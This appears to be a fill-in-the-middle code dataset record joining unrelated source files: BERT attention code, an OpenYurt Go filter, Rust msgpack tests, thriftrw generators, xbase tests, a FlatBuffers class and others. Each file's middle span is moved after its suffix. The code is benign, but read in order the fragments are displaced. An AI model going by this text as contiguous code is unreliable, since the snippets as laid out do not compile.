"ntok": torch.sum(encoded_input["attention_mask"], dim=1),
"cls_emb": out.hidden_states[-1][:, 0], # last layer, first token
}
# Add attention layers to batched_outputs
assert len(out.attentions) == self.model.config.num_hidden_layers
for i, layer_attention in enumerate(out.attentions):
batched_outputs[f"layer_{i}/attention"] = layer_attention
# Request gradients after the forward pass.
# Note: hidden_states[0] includes position and segment encodings, as well as
# subword embeddings.
if self.compute_grads:
# <torch.float32>[batch_size, num_tokens, emb_dim]
scalar_pred_for_gradients = torch.max(
batched_outputs["probas"], dim=1, keepdim=False, out=None)[0]
batched_outputs["input_emb_grad"] = torch.autograd.grad(
scalar_pred_for_gradients,
out.hidden_states[0],
grad_outputs=torch.ones_like(scalar_pred_for_gradients))[0]
# Post-process outputs.
# Return as NumPy for further processing.
detached_outputs = {
k: v.cpu().detach().numpy() for k, v in batched_outputs.items()}
# Unbatch outputs so we get one record per input example.
for output in utils.unbatch_preds(detached_outputs):
ntok = output.pop("ntok")
output["tokens"] = self.tokenizer.convert_ids_to_tokens(
output.pop("input_ids")[:ntok])
# set token gradients
if self.compute_grads:
output["token_grad_sentence"] = output["input_emb_grad"][:ntok]
# Process attention.
for key in output:
if not re.match(r"layer_(\d+)/attention", key):
continue
# Select only real tokens, since most of this matrix is padding.
# <float32>[num_heads, max_seq_length, max_seq_length]
# -> <float32>[num_heads, num_tokens, num_tokens]
output[key] = output[key][:, :ntok, :ntok].transpose((0, 2, 1))
# Make a copy of this array to avoid memory leaks, since NumPy otherwise
# keeps a pointer around that prevents the source array from being GCed.
output[key] = output[key].copy()
yield output |
filter.go | /*
Copyright 2021 The OpenYurt Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package endpointsfilter
import (
"fmt"
"io"
"net/http"
v1 "k8s.io/api/core/v1"
"k8s.io/client-go/informers"
listers "k8s.io/client-go/listers/core/v1"
"k8s.io/client-go/tools/cache"
"k8s.io/klog/v2"
"github.com/openyurtio/openyurt/pkg/yurthub/cachemanager"
"github.com/openyurtio/openyurt/pkg/yurthub/filter"
filterutil "github.com/openyurtio/openyurt/pkg/yurthub/filter/util"
"github.com/openyurtio/openyurt/pkg/yurthub/kubernetes/serializer"
"github.com/openyurtio/openyurt/pkg/yurthub/util"
yurtinformers "github.com/openyurtio/yurt-app-manager-api/pkg/yurtappmanager/client/informers/externalversions"
appslisters "github.com/openyurtio/yurt-app-manager-api/pkg/yurtappmanager/client/listers/apps/v1alpha1"
)
// Register registers a filter
func Register(filters *filter.Filters) {
filters.Register(filter.EndpointsFilterName, func() (filter.Runner, error) {
return NewFilter(), nil
})
}
func NewFilter() *endpointsFilter {
return &endpointsFilter{
workingMode: util.WorkingModeEdge,
}
}
type endpointsFilter struct {
serviceLister listers.ServiceLister
serviceSynced cache.InformerSynced
nodepoolLister appslisters.NodePoolLister
nodePoolSynced cache.InformerSynced
nodeGetter filter.NodeGetter
nodeSynced cache.InformerSynced
nodeName string
serializerManager *serializer.SerializerManager
workingMode util.WorkingMode
}
func (ssf *endpointsFilter) SetWorkingMode(mode util.WorkingMode) error {
ssf.workingMode = mode
return nil
}
func (ssf *endpointsFilter) SetSharedInformerFactory(factory informers.SharedInformerFactory) error {
ssf.serviceLister = factory.Core().V1().Services().Lister()
ssf.serviceSynced = factory.Core().V1().Services().Informer().HasSynced
if ssf.workingMode == util.WorkingModeCloud {
klog.Infof("prepare list/watch to sync node(%s) for cloud working mode", ssf.nodeName)
ssf.nodeSynced = factory.Core().V1().Nodes().Informer().HasSynced
ssf.nodeGetter = factory.Core().V1().Nodes().Lister().Get
}
return nil
}
func (ssf *endpointsFilter) SetYurtSharedInformerFactory(yurtFactory yurtinformers.SharedInformerFactory) error {
ssf.nodepoolLister = yurtFactory.Apps().V1alpha1().NodePools().Lister()
ssf.nodePoolSynced = yurtFactory.Apps().V1alpha1().NodePools().Informer().HasSynced
return nil | }
func (ssf *endpointsFilter) SetNodeName(nodeName string) error {
ssf.nodeName = nodeName
return nil
}
func (ssf *endpointsFilter) SetStorageWrapper(s cachemanager.StorageWrapper) error {
if len(ssf.nodeName) == 0 {
return fmt.Errorf("node name for endpointsFilter is not ready")
}
// hub agent will list/watch node from kube-apiserver when hub agent work as cloud mode
if ssf.workingMode == util.WorkingModeCloud {
return nil
}
klog.Infof("prepare local disk storage to sync node(%s) for edge working mode", ssf.nodeName)
nodeKey := fmt.Sprintf("kubelet/nodes/%s", ssf.nodeName)
ssf.nodeSynced = func() bool {
obj, err := s.Get(nodeKey)
if err != nil || obj == nil {
return false
}
if _, ok := obj.(*v1.Node); !ok {
return false
}
return true
}
ssf.nodeGetter = func(name string) (*v1.Node, error) {
obj, err := s.Get(nodeKey)
if err != nil {
return nil, err
} else if obj == nil {
return nil, fmt.Errorf("node(%s) is not ready", name)
}
if node, ok := obj.(*v1.Node); ok {
return node, nil
}
return nil, fmt.Errorf("node(%s) is not found", name)
}
return nil
}
func (ssf *endpointsFilter) SetSerializerManager(s *serializer.SerializerManager) error {
ssf.serializerManager = s
return nil
}
func (ssf *endpointsFilter) Filter(req *http.Request, rc io.ReadCloser, stopCh <-chan struct{}) (int, io.ReadCloser, error) {
if ok := cache.WaitForCacheSync(stopCh, ssf.nodeSynced, ssf.serviceSynced, ssf.nodePoolSynced); !ok {
return 0, rc, nil
}
s := filterutil.CreateSerializer(req, ssf.serializerManager)
if s == nil {
klog.Errorf("skip filter, failed to create serializer in endpointsFilter")
return 0, rc, nil
}
handler := NewEndpointsFilterHandler(ssf.nodeName, s, ssf.serviceLister, ssf.nodepoolLister, ssf.nodeGetter)
return filter.NewFilterReadCloser(req, rc, handler, s, filter.EndpointsFilterName, stopCh)
} | |
fnmatch.py | /usr/local/Cellar/python/2.7.14_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/fnmatch.py |
||
mod.rs | #[allow(unused_imports)]
use embedded_msgpack::encode::Binary;
fn print_slice(data: &[u8]) {
print!("[");
for (i, v) in data.iter().enumerate() {
print!("{}0x{:02x}", if i > 0 { ", " } else { "" }, v);
}
println!("]");
}
fn test_roundtrip<T: serde::Serialize + serde::de::DeserializeOwned + PartialEq + core::fmt::Debug>(data: T) {
let mut buf = [0u8; 1000];
let len = embedded_msgpack::encode::serde::to_array(&data, &mut buf).unwrap();
print_slice(&buf[..len]);
let v = embedded_msgpack::decode::from_slice(&buf).unwrap();
assert_eq!(data, v);
}
fn test_roundtrip_borrowed<'a, T: 'a + serde::Serialize + serde::de::Deserialize<'a> + PartialEq + core::fmt::Debug>(
data: T,
buf: &'a mut [u8],
) {
let len = embedded_msgpack::encode::serde::to_array(&data, buf).unwrap();
print_slice(&buf[..len]);
let v = embedded_msgpack::decode::from_slice(&buf[..len]).unwrap();
assert_eq!(data, v);
}
#[test]
fn roundtrip_nil() {
let nil: Option<u8> = None;
test_roundtrip(nil);
}
#[test]
fn roundtrip_bool() {
test_roundtrip(true);
test_roundtrip(false);
}
#[cfg(feature = "timestamp")]
#[test]
fn roundtrip_timestamp() |
#[test]
fn roundtrip_int() {
test_roundtrip(-1i32);
test_roundtrip(-32i32);
test_roundtrip(-33i32);
test_roundtrip(-128i32);
test_roundtrip(-256i32);
test_roundtrip(-32768i32);
test_roundtrip(-65536i32);
test_roundtrip(-2147483648i32);
}
#[test]
fn roundtrip_uint() {
test_roundtrip(4u32);
test_roundtrip(4u8);
test_roundtrip(255u8);
test_roundtrip(255u16);
test_roundtrip(255u32);
test_roundtrip(256u16);
test_roundtrip(256u32);
test_roundtrip(65535u16);
test_roundtrip(65535u32);
test_roundtrip(65536u32);
test_roundtrip(2147483647u32);
test_roundtrip(2147483648u32);
test_roundtrip(4294967295u32);
test_roundtrip(4i32);
test_roundtrip(255i32);
test_roundtrip(256i32);
test_roundtrip(65535i32);
test_roundtrip(65536i32);
test_roundtrip(2147483647i32);
}
#[cfg(feature = "u64")]
#[test]
fn roundtrip_u64() {
test_roundtrip(4294967296u64);
test_roundtrip(281474976710656u64);
test_roundtrip(9223372036854775807u64);
test_roundtrip(9223372036854775808u64);
test_roundtrip(18446744073709551615u64);
}
#[cfg(feature = "i64")]
#[test]
fn roundtrip_i64() {
test_roundtrip(2147483648i64);
test_roundtrip(4294967295i64);
test_roundtrip(-4294967296i64);
test_roundtrip(-281474976710656i64);
test_roundtrip(9223372036854775807i64);
test_roundtrip(-9223372036854775807i64);
test_roundtrip(-9223372036854775808i64);
}
#[test]
fn roundtrip_float() {
test_roundtrip(0.5f32);
test_roundtrip(-0.5f32);
}
#[test]
fn roundtrip_map() {
let mut buf = [0u8; 1000];
let map: [(&str, u32); 2] = [("abc", 34), ("def", 128)];
test_roundtrip_borrowed(map, &mut buf);
}
#[test]
fn roundtrip_array() {
let mut buf = [0u8; 1000];
test_roundtrip_borrowed(["abc", "def"], &mut buf);
test_roundtrip_borrowed([1u32, 2, 3], &mut buf);
}
#[test]
fn roundtrip_str() {
let mut buf = [0u8; 1000];
test_roundtrip_borrowed("", &mut buf);
test_roundtrip_borrowed("a", &mut buf);
test_roundtrip_borrowed("1234567890123456789012345678901", &mut buf);
test_roundtrip_borrowed("12345678901234567890123456789012", &mut buf);
}
#[test]
fn roundtrip_bin() {
let mut buf = [0u8; 100000];
test_roundtrip_borrowed(Binary::new(&[]), &mut buf);
test_roundtrip_borrowed(Binary::new(&[2]), &mut buf);
test_roundtrip_borrowed(Binary::new(&[0, 0xff]), &mut buf);
test_roundtrip_borrowed(Binary::new(&[1u8, 2, 3, 4, 5, 6, 7]), &mut buf);
test_roundtrip_borrowed(Binary::new(&[10u8; 300]), &mut buf);
test_roundtrip_borrowed(Binary::new(&[20u8; 70000]), &mut buf);
}
#[test]
fn roundtrip_struct() {
use serde::{Deserialize, Serialize};
#[derive(Serialize, Deserialize, Debug, PartialEq)]
struct Test {
a: Option<i32>,
b: u32,
}
test_roundtrip(Test { a: None, b: 1 });
test_roundtrip(Test { a: Some(1), b: 2 });
}
#[test]
fn roundtrip_complex_struct() {
use serde::{Deserialize, Serialize};
#[derive(Serialize, Deserialize, Debug, PartialEq)]
struct Test {
a: Option<i32>,
b: u32,
c: (i8, [u8; 3]),
}
test_roundtrip(Test {
a: None,
b: 1,
c: (2, [3, 4, 5]),
});
test_roundtrip(Test {
a: Some(1),
b: 2,
c: (2, [3, 4, 5]),
});
}
| {
use embedded_msgpack::timestamp::Timestamp;
test_roundtrip(Timestamp::new(1514862245, 0).unwrap());
test_roundtrip(Timestamp::new(1514862245, 678901234).unwrap());
test_roundtrip(Timestamp::new(2147483647, 999999999).unwrap());
test_roundtrip(Timestamp::new(2147483648, 0).unwrap());
test_roundtrip(Timestamp::new(2147483648, 1).unwrap());
test_roundtrip(Timestamp::new(4294967295, 0).unwrap());
test_roundtrip(Timestamp::new(4294967295, 999999999).unwrap());
test_roundtrip(Timestamp::new(4294967296, 0).unwrap());
test_roundtrip(Timestamp::new(17179869183, 999999999).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(17179869184, 0).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(-1, 0).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(-1, 999999999).unwrap());
test_roundtrip(Timestamp::new(0, 0).unwrap());
test_roundtrip(Timestamp::new(0, 1).unwrap());
test_roundtrip(Timestamp::new(1, 0).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(-2208988801, 999999999).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(-2208988800, 0).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(-62167219200, 0).unwrap());
#[cfg(feature = "timestamp96")]
test_roundtrip(Timestamp::new(253402300799, 999999999).unwrap());
} |
access_code_fetcher.go | package accesscode
import (
"github.com/gobuffalo/pop"
"github.com/gofrs/uuid"
"github.com/transcom/mymove/pkg/models"
"github.com/transcom/mymove/pkg/services"
)
// accessCodeFetcher is a service object to fetch an access code.
type accessCodeFetcher struct {
DB *pop.Connection
}
// NewAccessCodeFetcher creates a new struct with the service dependencies.
func NewAccessCodeFetcher(db *pop.Connection) services.AccessCodeFetcher {
return &accessCodeFetcher{db}
}
// FetchAccessCode fetches an access code based upon the service member id.
func (f accessCodeFetcher) FetchAccessCode(serviceMemberID uuid.UUID) (*models.AccessCode, error) {
ac := models.AccessCode{}
err := f.DB.
Where("service_member_id = ?", serviceMemberID).
First(&ac)
if err != nil |
return &ac, nil
}
| {
return &ac, err
} |
map.go | // Copyright (c) 2018 Uber Technologies, Inc.
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
package gen
import (
"fmt"
"go.uber.org/thriftrw/compile"
)
func mapItemListName(g Generator, spec *compile.MapSpec) string {
return fmt.Sprintf("_%s_MapItemList", g.MangleType(spec))
}
// mapGenerator generates logic to convert lists of arbitrary Thrift types to
// and from MapItemLists.
type mapGenerator struct{}
// MapItemList generates a new MapItemList type alias for the given map.
//
// The following is generated:
//
// type $mapItemListName map[$keyType]$valueType
//
// func (v $mapItemListName) ForEach(f func(wire.MapItem) error) error { ... }
//
// func (v $mapItemListName) Close() { ... }
//
// And $mapItemListName is returned. This may be used where a MapItemList of the
// given type is expected.
func (m *mapGenerator) ItemList(g Generator, spec *compile.MapSpec) (string, error) {
name := mapItemListName(g, spec)
err := g.EnsureDeclared(
`
<$wire := import "go.uber.org/thriftrw/wire">
type <.Name> <typeReference .Spec>
<$m := newVar "m">
<$f := newVar "f">
<$k := newVar "k">
<$v := newVar "v">
<$i := newVar "i">
<$kw := newVar "kw">
<$vw := newVar "vw">
func (<$m> <.Name>) ForEach(<$f> func(<$wire>.MapItem) error) error {
<- if isHashable .Spec.KeySpec ->
for <$k>, <$v> := range <$m> {
<else ->
for _, <$i> := range <$m> {
<$k> := <$i>.Key
<$v> := <$i>.Value
<end>
<- if not (isPrimitiveType .Spec.KeySpec) ->
if <$k> == nil {
return <import "fmt">.Errorf("invalid map key: value is nil")
}
<end ->
<- if not (isPrimitiveType .Spec.ValueSpec) ->
if <$v> == nil {
return <import "fmt">.Errorf("invalid [%v]: value is nil", <$k>)
}
<end ->
<$kw>, err := <toWire .Spec.KeySpec $k>
if err != nil {
return err
}
<$vw>, err := <toWire .Spec.ValueSpec $v>
if err != nil {
return err
}
err = <$f>(<$wire>.MapItem{Key: <$kw>, Value: <$vw>})
if err != nil {
return err
}
}
return nil
}
func (<$m> <.Name>) Size() int {
return len(<$m>)
}
func (<.Name>) KeyType() <$wire>.Type {
return <typeCode .Spec.KeySpec>
}
func (<.Name>) ValueType() <$wire>.Type {
return <typeCode .Spec.ValueSpec>
}
func (<.Name>) Close() {}
`,
struct {
Name string
Spec *compile.MapSpec
}{Name: name, Spec: spec},
)
return name, wrapGenerateError(spec.ThriftName(), err)
}
func (m *mapGenerator) Reader(g Generator, spec *compile.MapSpec) (string, error) {
name := readerFuncName(g, spec)
err := g.EnsureDeclared(
`
<$wire := import "go.uber.org/thriftrw/wire">
<$mapType := typeReference .Spec>
<$m := newVar "m">
<$o := newVar "o">
<$x := newVar "x">
<$k := newVar "k">
<$v := newVar "v">
func <.Name>(<$m> <$wire>.MapItemList) (<$mapType>, error) {
if <$m>.KeyType() != <typeCode .Spec.KeySpec> {
return nil, nil
}
if <$m>.ValueType() != <typeCode .Spec.ValueSpec> {
return nil, nil
}
<if isHashable .Spec.KeySpec>
<$o> := make(<$mapType>, <$m>.Size())
<else>
<$o> := make(<$mapType>, 0, <$m>.Size())
<end ->
err := <$m>.ForEach(func(<$x> <$wire>.MapItem) error {
<$k>, err := <fromWire .Spec.KeySpec (printf "%s.Key" $x)>
if err != nil {
return err
}
<$v>, err := <fromWire .Spec.ValueSpec (printf "%s.Value" $x)>
if err != nil {
return err
}
<if isHashable .Spec.KeySpec>
<$o>[<$k>] = <$v>
<else>
<$o> = append(<$o>, struct {
Key <typeReference .Spec.KeySpec>
Value <typeReference .Spec.ValueSpec>
}{<$k>, <$v>})
<end ->
return nil
})
<$m>.Close()
return <$o>, err
}
`,
struct {
Name string
Spec *compile.MapSpec
}{Name: name, Spec: spec},
)
return name, wrapGenerateError(spec.ThriftName(), err)
}
// Equals generates a function to compare maps of the given type
//
// func $name(lhs, rhs $mapType) bool {
// ...
// }
//
// And returns its name.
func (m *mapGenerator) Equals(g Generator, spec *compile.MapSpec) (string, error) {
if !isHashable(spec.KeySpec) {
return m.equalsUnhashable(g, spec)
}
name := equalsFuncName(g, spec)
err := g.EnsureDeclared(
`
<$mapType := typeReference .Spec>
<$lhs := newVar "lhs">
<$rhs := newVar "rhs">
func <.Name>(<$lhs>, <$rhs> <$mapType>) bool {
if len(<$lhs>) != len(<$rhs>) {
return false
}
<$lk := newVar "lk">
<$lv := newVar "lv">
<$rv := newVar "rv">
<$ok := newVar "ok">
for <$lk>, <$lv> := range <$lhs> {
<$rv>, <$ok> := <$rhs>[<$lk>]
if !<$ok> {
return false
}
if !<equals .Spec.ValueSpec $lv $rv> {
return false
}
}
return true
}
`,
struct {
Name string
Spec *compile.MapSpec
}{Name: name, Spec: spec},
)
return name, wrapGenerateError(spec.ThriftName(), err)
}
func (m *mapGenerator) equalsUnhashable(g Generator, spec *compile.MapSpec) (string, error) {
name := equalsFuncName(g, spec)
err := g.EnsureDeclared(
`
<$mapType := typeReference .Spec>
<$lhs := newVar "lhs">
<$rhs := newVar "rhs">
func <.Name>(<$lhs>, <$rhs> <$mapType>) bool {
if len(<$lhs>) != len(<$rhs>) {
return false
}
<$i := newVar "i">
<$j := newVar "j">
<$lk := newVar "lk">
<$lv := newVar "lv">
<$rk := newVar "rk">
<$rv := newVar "rv">
<$ok := newVar "ok">
for _, <$i> := range <$lhs> {
<$lk> := <$i>.Key
<$lv> := <$i>.Value
<$ok> := false
for _, <$j> := range <$rhs> {
<$rk> := <$j>.Key
<$rv> := <$j>.Value
if !<equals .Spec.KeySpec $lk $rk> {
continue
}
if !<equals .Spec.ValueSpec $lv $rv> {
return false
}
<$ok> = true
break
}
if !<$ok> {
return false
}
}
return true
}
`,
struct {
Name string
Spec *compile.MapSpec
}{Name: name, Spec: spec},
)
return name, wrapGenerateError(spec.ThriftName(), err)
}
// Maps are logged as objects if the key is a string or a typedef of a
// string. If the key is not a string, maps are logged as arrays of
// objects with a key and value.
//
// map[string]int32{"foo": 1, "bar": 2}
// => {"foo": 1, "bar": 2}
//
// map[int32]string{1: "foo", 2: "bar"}
// => [{"key": 1, "value": "foo"}, {"key": 2, "value": "bar"}]
//
func (m *mapGenerator) zapMarshaler(
g Generator,
root *compile.MapSpec,
fieldValue string,
) (string, error) {
name := zapperName(g, root)
switch compile.RootTypeSpec(root.KeySpec).(type) {
case *compile.StringSpec:
return m.zapStringKeyMarshaler(g, name, root, fieldValue)
default:
return m.zapNonstringKeyMarshaler(g, name, root, fieldValue)
}
}
func (m *mapGenerator) zapStringKeyMarshaler(
g Generator,
name string,
root *compile.MapSpec,
fieldValue string,
) (string, error) {
err := g.EnsureDeclared(
`
<$zapcore := import "go.uber.org/zap/zapcore">
type <.Name> <typeReference .Type>
<$m := newVar "m">
<$k := newVar "k">
<$v := newVar "v">
<$enc := newVar "enc">
// MarshalLogObject implements zapcore.ObjectMarshaler, enabling
// fast logging of <.Name>.
func (<$m> <.Name>) MarshalLogObject(<$enc> <$zapcore>.ObjectEncoder) (err error) {
for <$k>, <$v> := range <$m> {
<zapEncodeBegin .Type.ValueSpec ->
<$enc>.Add<zapEncoder .Type.ValueSpec>((string)(<$k>), <zapMarshaler .Type.ValueSpec $v>)
<- zapEncodeEnd .Type.ValueSpec>
}
return err
}
`, struct {
Name string
Type *compile.MapSpec
}{
Name: name,
Type: root,
},
)
return fmt.Sprintf("(%v)(%v)", name, fieldValue), err
}
func (m *mapGenerator) zapNonstringKeyMarshaler(
g Generator,
name string,
root *compile.MapSpec,
fieldValue string,
) (string, error) {
if err := g.EnsureDeclared(
`
<$zapcore := import "go.uber.org/zap/zapcore">
<$multierr := import "go.uber.org/multierr">
type <.Name> <typeReference .Type>
<$m := newVar "m">
<$k := newVar "k">
<$v := newVar "v">
<$i := newVar "i">
<$enc := newVar "enc">
// MarshalLogArray implements zapcore.ArrayMarshaler, enabling
// fast logging of <.Name>.
func (<$m> <.Name>) MarshalLogArray(<$enc> <$zapcore>.ArrayEncoder) (err error) {
<- if isHashable .Type.KeySpec ->
for <$k>, <$v> := range <$m> {
<else ->
for _, <$i> := range <$m> {
<$k> := <$i>.Key
<$v> := <$i>.Value
<end ->
err = <$multierr>.Append(err, <$enc>.AppendObject(<zapMapItemMarshaler .Type $k $v>))
}
return err
}
`, struct {
Name string
Type *compile.MapSpec
}{
Name: name,
Type: root,
},
TemplateFunc("zapMapItemMarshaler", m.zapMapItemMarshaler),
); err != nil {
return "", err
}
return fmt.Sprintf("(%v)(%v)", name, fieldValue), nil
}
func (m *mapGenerator) zapMapItemMarshaler(
g Generator,
mapSpec *compile.MapSpec,
keyVar string,
valueVar string,
) (string, error) {
name := fmt.Sprintf("_%s_Item_Zapper", g.MangleType(mapSpec))
if err := g.EnsureDeclared(
`
<$zapcore := import "go.uber.org/zap/zapcore">
type <.Name> struct {
Key <typeReference .KeyType>
Value <typeReference .ValueType>
}
<$v := newVar "v">
<$key := printf "%s.%s" $v "Key">
<$val := printf "%s.%s" $v "Value">
<$enc := newVar "enc">
// MarshalLogArray implements zapcore.ArrayMarshaler, enabling
// fast logging of <.Name>.
func (<$v> <.Name>) MarshalLogObject(<$enc> <$zapcore>.ObjectEncoder) (err error) {
<zapEncodeBegin .KeyType ->
<$enc>.Add<zapEncoder .KeyType>("key", <zapMarshaler .KeyType $key>)
<- zapEncodeEnd .KeyType>
<zapEncodeBegin .ValueType ->
<$enc>.Add<zapEncoder .ValueType>("value", <zapMarshaler .ValueType $val>)
<- zapEncodeEnd .ValueType>
return err
}
`, struct {
Name string
KeyType compile.TypeSpec
ValueType compile.TypeSpec
}{
Name: name,
KeyType: mapSpec.KeySpec, | ValueType: mapSpec.ValueSpec,
},
); err != nil {
return "", err
}
return fmt.Sprintf("%v{Key: %v, Value: %v}", name, keyVar, valueVar), nil
} | |
encoder_test.go | package xbase
import (
"github.com/stretchr/testify/assert"
"io"
"os"
"testing"
"time"
)
type NativeType struct {
Int int `dbf:"int,len:1"`
Int8 int8 `dbf:"int8,len:2"`
Int16 int16 `dbf:"int16,len:4"`
Int32 int32 `dbf:"int32,len:8"`
Int64 int64 `dbf:"int64,len:16"`
UInt uint `dbf:"uint,len:1"`
Uint8 uint8 `dbf:"uint8,len:2"`
Uint16 uint16 `dbf:"uint16,len:4"` | Uint64 uint64 `dbf:"uint64,type:N,len:16"`
Float32 float32 `dbf:"float32,len:10,dec:2"`
Float64 float64 `dbf:"float64,type:F,len:16,dec:4"`
String string `dbf:"string,len:10"`
Bool bool `dbf:"bool"`
}
func TestNewEncoder(t *testing.T) {
type args struct {
w Writer
iw io.ReadWriteSeeker
in []interface{}
}
tests := []struct {
name string
args args
wantErr assert.ErrorAssertionFunc
}{
{
name: "NativeType-buffer", args: args{
iw: NewSeekableBuffer(),
in: []interface{}{
nil,
NativeType{Int: 1, Int8: 8, Int16: 16, Int32: 32, Int64: 64, UInt: 2, Uint8: 28, Uint16: 216, Uint32: 232, Uint64: 264, Float32: 32.32, Float64: 64.6464, String: "abcf", Bool: true},
},
}, wantErr: func(t assert.TestingT, err error, i ...interface{}) bool {
for _, i3 := range i {
if isNilFixed(i3) {
return true
}
}
return false
},
},
{
name: "NativeType-file", args: args{
iw: func() io.ReadWriteSeeker {
os.Remove("./testdata/test3.dbf")
fs, err := os.Create("./testdata/test3.dbf")
assert.NoError(t, err)
return fs
}(),
in: []interface{}{
NativeType{Int: 1, Int8: 8, Int16: 16, Int32: 32, Int64: 64, UInt: 2, Uint8: 28, Uint16: 216, Uint32: 232, Uint64: 264, Float32: 32.32, Float64: 64.6464, String: "abcf", Bool: true},
},
}, wantErr: func(t assert.TestingT, err error, i ...interface{}) bool { return false },
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
xb, err := New(tt.args.iw)
assert.NoError(t, err)
enc := NewEncoder(xb)
for _, i := range tt.args.in {
err := enc.Encode(i)
if tt.wantErr(t, err, i) {
assert.Error(t, err)
} else {
assert.NoError(t, err)
}
}
xb.Close()
})
}
}
func TestNewEncoderRec(t *testing.T) {
type args struct {
w Writer
iw io.ReadWriteSeeker
in []*Rec
}
tests := []struct {
name string
args args
wantErr assert.ErrorAssertionFunc
}{
{
name: "rec3-file", args: args{
iw: func() io.ReadWriteSeeker {
os.Remove("./testdata/test-rec3.dbf")
fs, err := os.Create("./testdata/test-rec3.dbf")
assert.NoError(t, err)
return fs
}(),
in: []*Rec{
&Rec{Name: "Abc", Flag: true, Count: 123, Price: 123.45, Date: time.Date(2021, 2, 12, 0, 0, 0, 0, time.UTC)},
nil,
&Rec{Name: "Мышь", Flag: false, Count: -321, Price: -54.32, Date: time.Date(2021, 2, 12, 0, 0, 0, 0, time.UTC)},
},
}, wantErr: func(t assert.TestingT, err error, i ...interface{}) bool { return false },
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
xb, err := New(tt.args.iw)
assert.NoError(t, err)
xb.SetCodePage(866)
enc := NewEncoder(xb)
err = enc.Encode(tt.args.in)
if tt.wantErr(t, err, tt.args.in) {
assert.Error(t, err)
} else {
assert.NoError(t, err)
}
//xb.Flush()
xb.Close()
if tt.name == "rec3-file" {
wantBytes := readFile("./testdata/rec3.dbf")
gotBytes := readFile("./testdata/test-rec3.dbf")
assert.Equal(t, wantBytes, gotBytes)
}
})
}
} | Uint32 uint32 `dbf:"uint32,len:8"` |
test_utils.py | import datetime
import unittest
import pandas
from evidently.analyzers.utils import process_columns
from evidently.pipeline.column_mapping import ColumnMapping
class TestUtils(unittest.TestCase):
def test_process_columns(self):
dataset = pandas.DataFrame.from_dict([
dict(datetime=datetime.datetime.now(),
target=1,
prediction=1, | cat_feature2="b")])
columns = process_columns(dataset, ColumnMapping())
self.assertIsNone(columns.utility_columns.id_column)
self.assertCountEqual(['feature1', 'feature2'], columns.num_feature_names)
self.assertCountEqual(['cat_feature1', 'cat_feature2'], columns.cat_feature_names) | feature1=0,
feature2=1,
cat_feature1="o", |
ArgMinOptions.py | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: tflite
import flatbuffers
from flatbuffers.compat import import_numpy
np = import_numpy()
class | (object):
__slots__ = ['_tab']
@classmethod
def GetRootAsArgMinOptions(cls, buf, offset):
n = flatbuffers.encode.Get(flatbuffers.packer.uoffset, buf, offset)
x = ArgMinOptions()
x.Init(buf, n + offset)
return x
@classmethod
def ArgMinOptionsBufferHasIdentifier(cls, buf, offset, size_prefixed=False):
return flatbuffers.util.BufferHasIdentifier(buf, offset, b"\x54\x46\x4C\x33", size_prefixed=size_prefixed)
# ArgMinOptions
def Init(self, buf, pos):
self._tab = flatbuffers.table.Table(buf, pos)
# ArgMinOptions
def OutputType(self):
o = flatbuffers.number_types.UOffsetTFlags.py_type(self._tab.Offset(4))
if o != 0:
return self._tab.Get(flatbuffers.number_types.Int8Flags, o + self._tab.Pos)
return 0
def ArgMinOptionsStart(builder): builder.StartObject(1)
def ArgMinOptionsAddOutputType(builder, outputType): builder.PrependInt8Slot(0, outputType, 0)
def ArgMinOptionsEnd(builder): return builder.EndObject()
| ArgMinOptions |
ssadot.rs | // Copyright (c) 2015, The Radare Project. All rights reserved.
// See the COPYING file at the top-level directory of this distribution.
// Licensed under the BSD 3-Clause License:
// <http://opensource.org/licenses/BSD-3-Clause>
// This file may not be copied, modified, or distributed
// except according to those terms.
//! Implements the `GraphDot` trait for `SSAStorage`
use petgraph::graph;
use petgraph::visit::{IntoEdgeReferences, EdgeRef};
use petgraph::graph::NodeIndex;
use middle::ir::MOpcode;
use middle::dot::{DotAttrBlock, GraphDot};
use super::ssastorage::{EdgeData, NodeData, SSAStorage};
use super::ssa_traits::{SSA, SSAExtra};
use middle::ssa::cfg_traits::CFG;
///////////////////////////////////////////////////////////////////////////////
//// Implementation of GraphDot to emit Dot for SSAStorage.
///////////////////////////////////////////////////////////////////////////////
impl GraphDot for SSAStorage {
type NodeIndex = graph::NodeIndex;
type EdgeIndex = graph::EdgeIndex;
fn configure(&self) -> String {
"digraph cfg {\nsplines=\"ortho\";\ngraph [fontsize=12 fontname=\"Verdana\" compound=true \
rankdir=TB;]\n"
.to_owned()
}
fn nodes(&self) -> Vec<Self::NodeIndex> {
